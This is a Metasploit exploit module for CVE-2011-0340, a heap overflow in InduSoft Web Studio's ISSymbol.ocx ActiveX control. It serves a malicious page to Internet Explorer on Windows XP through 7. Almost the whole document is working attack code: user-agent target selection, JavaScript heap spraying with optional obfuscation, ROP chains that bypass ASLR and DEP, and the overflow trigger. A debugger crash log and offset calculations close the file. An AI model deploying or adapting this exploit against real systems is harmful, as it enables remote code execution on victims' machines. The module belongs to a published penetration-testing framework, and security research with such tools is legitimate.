InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn

    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :rank       => NormalRanking,
        :classid    => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
        :method     => "InternationalSeparator"
    })


    def initialize(info={})
        super(update_info(info,
            'Name'           => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
            'Description'    => %q{
                This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
                SP6. The overflow exists in the ISSymbol.ocx,  and can be triggered with a long
                string argument for the InternationalSeparator() method of the ISSymbol control.
                This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexander Gavrun', # Vulnerability discovery
                    'Dmitriy Pletnev', # Vulnerability discovery
                    'James Fitts', # Metasploit module
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-0340' ],
                    [ 'OSVDB', '72865' ],
                    [ 'BID', '47596' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
                    [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
                ],
            'Payload'        =>
                {
                    'Space'            => 934,
                    'DisableNops'      => true,
                    'PrependEncoder'   => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
                    [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
                    [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
                    [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
                    [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
                    [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fe' } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Apr 28 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)

    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

        ie_name = "IE #{ie}"

        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        when '6.0'
            os_name = 'Windows Vista'
        when '6.1'
            os_name = 'Windows 7'
        end

        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end

        return nil
    end

    def ie_heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
        js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

        # Land the payload at 0x0c0c0c0c
        case my_target
        when targets[7]
            # IE 9 on Windows 7
            js = %Q|
            function randomblock(blocksize)
            {
                var theblock = "";
                for (var i = 0; i < blocksize; i++)
                {
                    theblock += Math.floor(Math.random()*90)+10;
                }
                return theblock;
            }

            function tounescape(block)
            {
                var blocklen = block.length;
                var unescapestr = "";
                for (var i = 0; i < blocklen-1; i=i+4)
                {
                    unescapestr += "%u" + block.substring(i,i+4);
                }
                return unescapestr;
            }

            var heap_obj = new heapLib.ie(0x10000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_random_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset_length = #{my_target['Offset']};
            for (var i=0; i < 0x1000; i++) {
                var padding = unescape(tounescape(randomblock(0x1000)));
                while (padding.length < 0x1000) padding+= padding;
                var junk_offset = padding.substring(0, offset_length);
                var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
                while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
                sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
                heap_obj.alloc(sprayblock);
            }
            |

        else
            # For IE 6, 7, 8
            js = %Q|
            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);
            |

        end

        js = heaplib(js, {:noobfu => true})

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        return js
    end

    def get_payload(t, cli)
        code = payload.encoded

        # No rop. Just return the payload.
        if t['Rop'].nil?
            prepend = [
                0x0c0c0c0c,
                0x0c0c0c0c,
                0x0c0c0c0c,
                0x0c0c0c0c,
                0x0c0c0c0c,
                0x0c0c0c0c,
                0x0c0c0c28 # Will finally become EIP
            ].pack("V*")
            return prepend + code
        end

        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            print_status("Using msvcrt ROP")
            stack_pivot = [
                0x0c0c0c0c, # ret from msvcrt.dll
                0x77c15ed6, # ret from msvcrt.dll
                0x77c15ed6, # ret from msvcrt.dll
                0x77c15ed6, # ret from msvcrt.dll
                0x77c15ed6, # ret from msvcrt.dll
                0x77c1f519, # pop # ret from msvcrt.dll
                0x77c4fa1a  # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
            ].pack("V*")
            rop_payload = generate_rop_payload('msvcrt', code,  {'pivot'=>stack_pivot, 'target'=>'xp'})
        else
            print_status("Using JRE ROP")
            stack_pivot = [
                0x0c0c0c0c, # ret from msvcr71.dll
                0x7c376fff, # ret from msvcr71.dll
                0x7c376fff, # ret from msvcr71.dll
                0x7c376fff, # ret from msvcr71.dll
                0x7c376fff, # ret from msvcr71.dll
                0x7c376ffe, # pop # ret from msvcr71.dll
                0x7c376ffc  # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
            ].pack("V*")
            rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
        end

        return rop_payload
    end

    def load_exploit_html(my_target, cli)
        p  = get_payload(my_target, cli)
        js = ie_heap_spray(my_target, p)

        # ActiveX parameters
        clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
        name = rand_text_alpha(rand(50) + 1 )
        boom = Rex::Text.to_unescape("\x0c" * 6888)

        html = %Q|
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object classid='clsid:#{clsid}' id='#{name}'></object>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <script language='javascript'>
        #{name}.InternationalSeparator(unescape("#{boom}"));
        </script>
        </body></html>
        |

        return html
    end

    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")

        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end

        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end

end

=begin
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01            mov     eax,dword ptr [ecx]  ds:0023:336b4632=????????
0:000> u eip
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01            mov     eax,dword ptr [ecx]
100127d4 8b5018          mov     edx,dword ptr [eax+18h]
100127d7 ffe2            jmp     edx
100127d9 cc              int     3
100127da cc              int     3
100127db cc              int     3
100127dc cc              int     3
100127dd cc              int     3

* ebx
$ ruby pattern_offset.rb 41306941  6888
[*] Exact match at offset 240

* ecx
$ ruby pattern_offset.rb 336b4632  6888
[*] Exact match at offset 4208

=end